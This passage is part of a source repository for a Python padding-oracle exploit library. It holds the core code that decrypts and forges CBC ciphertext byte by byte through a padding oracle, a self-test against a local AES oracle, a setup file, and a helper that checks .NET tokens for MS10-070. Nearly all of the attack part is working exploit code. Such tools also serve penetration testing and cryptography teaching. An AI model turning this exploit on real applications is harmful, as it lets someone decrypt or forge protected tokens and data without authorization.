bytes([pad]) * pad 83 | else: 84 | raise Exception('Bad data type for plaintext variable') 85 | 86 | self.log.debug('Attempting to encrypt %r bytes', str(plaintext)) 87 | 88 | if iv is not None: 89 | iv = iv 90 | else: 91 | iv = bytes([0] * block_size) 92 | 93 | self._encrypted = encrypted = iv 94 | block = encrypted 95 | 96 | n = len(plaintext + iv) 97 | while n > 0: 98 | intermediate_bytes = self.bust(block, block_size=block_size, 99 | **kwargs) 100 | 101 | block = xor(intermediate_bytes, 102 | plaintext[n - block_size * 2:n + block_size]) 103 | 104 | encrypted = block + encrypted 105 | 106 | n -= block_size 107 | 108 | return encrypted 109 | 110 | def decrypt(self, ciphertext, block_size=8, iv=None, **kwargs): 111 | ''' 112 | Decrypts *ciphertext* by exploiting a Padding Oracle. 113 | 114 | :param ciphertext: Encrypted data. 115 | :param int block_size: Cipher block size (in bytes). 116 | :param iv: The initialization vector (iv), usually the first 117 | *block_size* bytes from the ciphertext. If no iv is given 118 | or iv is None, the first *block_size* bytes will be used. 119 | :returns: Decrypted data. 120 | ''' 121 | if isinstance(ciphertext, str): 122 | ciphertext = ciphertext.encode() 123 | elif not isinstance(ciphertext, (bytes, bytearray)): 124 | raise Exception('Bad data type for ciphertext variable') 125 | 126 | self.log.debug('Attempting to decrypt %r bytes', str(ciphertext)) 127 | 128 | assert len(ciphertext) % block_size == 0, \ 129 | "Ciphertext not of block size %d" % (block_size, ) 130 | 131 | if iv is not None: 132 | iv, ctext = iv, ciphertext 133 | else: 134 | iv, ctext = ciphertext[:block_size], ciphertext[block_size:] 135 | 136 | self._decrypted = decrypted = bytearray([0] * len(ctext)) 137 | 138 | n = 0 139 | while ctext: 140 | block, ctext = ctext[:block_size], ctext[block_size:] 141 | 142 | intermediate_bytes = self.bust(block, block_size=block_size, 143 | **kwargs) 144 | 145 | # XOR the intermediate bytes with the the previous block (iv) 146 | # to get the plaintext 147 | 148 | decrypted[n:n + block_size] = xor(intermediate_bytes, iv) 149 | 150 | self.log.info('Decrypted block %d: %r', 151 | n / block_size, str(decrypted[n:n + block_size])) 152 | 153 | # Update the IV to that of the current block to be used in the 154 | # next round 155 | 156 | iv = block 157 | n += block_size 158 | 159 | return decrypted 160 | 161 | def bust(self, block, block_size=8, **kwargs): 162 | ''' 163 | A block buster. This method busts one ciphertext block at a time. 164 | This method should not be called directly, instead use 165 | :meth:`decrypt`. 166 | 167 | :param block: 168 | :param int block_size: Cipher block size (in bytes). 169 | :returns: A bytearray containing the decrypted bytes 170 | ''' 171 | intermediate_bytes = bytearray(block_size) 172 | 173 | test_bytes = bytearray(block_size) # '\x00\x00\x00\x00...' 174 | test_bytes.extend(block) 175 | 176 | self.log.debug('Processing block %r', str(block)) 177 | 178 | retries = 0 179 | last_ok = 0 180 | while retries < self.max_retries: 181 | 182 | # Work on one byte at a time, starting with the last byte 183 | # and moving backwards 184 | 185 | for byte_num in reversed(range(block_size)): 186 | 187 | # clear oracle history for each byte 188 | 189 | self.history = [] 190 | 191 | # Break on first value that returns an oracle, otherwise if we 192 | # don't find a good value it means we have a false positive 193 | # value for the last byte and we need to start all over again 194 | # from the last byte. We can resume where we left off for the 195 | # last byte though. 196 | 197 | r = 256 198 | if byte_num == block_size - 1 and last_ok > 0: 199 | r = last_ok 200 | 201 | for i in reversed(range(r)): 202 | 203 | # Fuzz the test byte 204 | 205 | test_bytes[byte_num] = i 206 | 207 | # If a padding oracle could not be identified from the 208 | # response, this indicates the padding bytes we sent 209 | # were correct. 210 | 211 | try: 212 | self.attempts += 1 213 | self.oracle(test_bytes[:], **kwargs) 214 | 215 | if byte_num == block_size - 1: 216 | last_ok = i 217 | 218 | except BadPaddingException: 219 | 220 | # TODO 221 | # if a padding oracle was seen in the response, 222 | # do not go any further, try the next byte in the 223 | # sequence. If we're in analysis mode, re-raise the 224 | # BadPaddingException. 225 | 226 | if self.analyze is True: 227 | raise 228 | else: 229 | continue 230 | 231 | except Exception: 232 | self.log.exception('Caught unhandled exception!\n' 233 | 'Decrypted bytes so far: %r\n' 234 | 'Current variables: %r\n', 235 | intermediate_bytes, self.__dict__) 236 | raise 237 | 238 | current_pad_byte = block_size - byte_num 239 | next_pad_byte = block_size - byte_num + 1 240 | decrypted_byte = test_bytes[byte_num] ^ current_pad_byte 241 | 242 | intermediate_bytes[byte_num] = decrypted_byte 243 | 244 | for k in range(byte_num, block_size): 245 | 246 | # XOR the current test byte with the padding value 247 | # for this round to recover the decrypted byte 248 | 249 | test_bytes[k] ^= current_pad_byte 250 | 251 | # XOR it again with the padding byte for the 252 | # next round 253 | 254 | test_bytes[k] ^= next_pad_byte 255 | 256 | break 257 | 258 | else: 259 | self.log.debug("byte %d not found, restarting" % byte_num) 260 | retries += 1 261 | 262 | break 263 | else: 264 | break 265 | 266 | else: 267 | raise RuntimeError('Could not decrypt byte %d in %r within ' 268 | 'maximum allotted retries (%d)' % ( 269 | byte_num, block, self.max_retries)) 270 | 271 | return intermediate_bytes 272 | 273 | 274 | def xor(data, key): 275 | ''' 276 | XOR two bytearray objects with each other. 277 | ''' 278 | return bytearray([x ^ y for x, y in zip(data, cycle(key))]) 279 | 280 | 281 | def test(): 282 | import os 283 | from Crypto.Cipher import AES 284 | 285 | teststring = b'The quick brown fox jumped over the lazy dog' 286 | 287 | def pkcs7_pad(data, blklen=16): 288 | if blklen > 255: 289 | raise ValueError('Illegal block size %d' % (blklen, )) 290 | pad = (blklen - (len(data) % blklen)) 291 | return data + bytes([pad] * pad) 292 | 293 | class PadBuster(PaddingOracle): 294 | def oracle(self, data): 295 | _cipher = AES.new(key, AES.MODE_CBC, iv) 296 | ptext = _cipher.decrypt(data) 297 | plen = ptext[-1] 298 | 299 | padding_is_good = (ptext[-plen:] == bytes([plen] * plen)) 300 | 301 | if padding_is_good: 302 | return 303 | 304 | raise BadPaddingException 305 | 306 | padbuster = PadBuster() 307 | 308 | for _ in range(100): 309 | key = os.urandom(AES.block_size) 310 | iv = bytearray(os.urandom(AES.block_size)) 311 | 312 | print("Testing padding oracle exploit in DECRYPT mode") 313 | cipher = AES.new(key, AES.MODE_CBC, iv) 314 | 315 | data = pkcs7_pad(teststring, blklen=AES.block_size) 316 | ctext = cipher.encrypt(data) 317 | 318 | print("Key: %r" % (key, )) 319 | print("IV: %r" % (iv, )) 320 | print("Plaintext: %r" % (data, )) 321 | print("Ciphertext: %r" % (ctext, )) 322 | 323 | decrypted = padbuster.decrypt(ctext, block_size=AES.block_size, iv=iv) 324 | 325 | print("Decrypted: %r" % (str(decrypted), )) 326 | print("\nRecovered in %d attempts\n" % (padbuster.attempts, )) 327 | 328 | assert decrypted == data, \ 329 | 'Decrypted data %r does not match original %r' % ( 330 | decrypted, data) 331 | 332 | print("Testing padding oracle exploit in ENCRYPT mode") 333 | cipher2 = AES.new(key, AES.MODE_CBC, iv) 334 | 335 | encrypted = padbuster.encrypt(teststring, block_size=AES.block_size) 336 | 337 | print("Key: %r" % (key, )) 338 | print("IV: %r" % (iv, )) 339 | print("Plaintext: %r" % (teststring, )) 340 | print("Ciphertext: %r" % (str(encrypted), )) 341 | 342 | decrypted = cipher2.decrypt(encrypted)[AES.block_size:] 343 | decrypted = decrypted.rstrip(bytes([decrypted[-1]])) 344 | 345 | print("Decrypted: %r" % (str(decrypted), )) 346 | print("\nRecovered in %d attempts" % (padbuster.attempts, )) 347 | 348 | assert decrypted == teststring, \ 349 | 'Encrypted data %r does not decrypt to %r, got %r' % ( 350 | encrypted, teststring, decrypted) 351 | 352 | 353 | if __name__ == '__main__': 354 | test() 355 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | try: 2 | from setuptools import setup 3 | except ImportError: 4 | from distutils.core import setup 5 | 6 | 7 | setup( 8 | name='paddingoracle', 9 | author='Marcin Wielgoszewski', 10 | author_email='marcin.wielgoszewski@gmail.com', 11 | version='0.2.2', 12 | url='https://github.com/mwielgoszewski/python-paddingoracle', 13 | py_modules=['paddingoracle'], 14 | description='A portable, padding oracle exploit API', 15 | zip_safe=False, 16 | classifiers=[ 17 | 'License :: OSI Approved :: BSD License', 18 | 'Programming Language :: Python' 19 | ] 20 | ) 21 | -------------------------------------------------------------------------------- /utils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from base64 import urlsafe_b64decode, urlsafe_b64encode 3 | 4 | 5 | def dotnet_b64decode(s): 6 | '''Decode .NET Web-Base64 encoded data.''' 7 | s, pad_bytes = s[:-1], int(s[-1]) 8 | s += ('=' * pad_bytes) 9 | return urlsafe_b64decode(s) 10 | 11 | 12 | def dotnet_b64encode(s): 13 | '''.NET Web-Base64 encode data.''' 14 | s = urlsafe_b64encode(s) 15 | pad_bytes = s.count('=') 16 | return s[:-pad_bytes or len(s)] + str(pad_bytes) 17 | 18 | 19 | def is_vulnerable(encrypted): 20 | ''' 21 | Checks encrypted token from ScriptResource.axd or WebResource.axd 22 | to determine if application is vulnerable to MS10-070. 23 | 24 | :returns: True if vulnerable, else False 25 | ''' 26 | if len(dotnet_b64decode(encrypted)) % 8 == 0: 27 | return True 28 | 29 | return False 30 | --------------------------------------------------------------------------------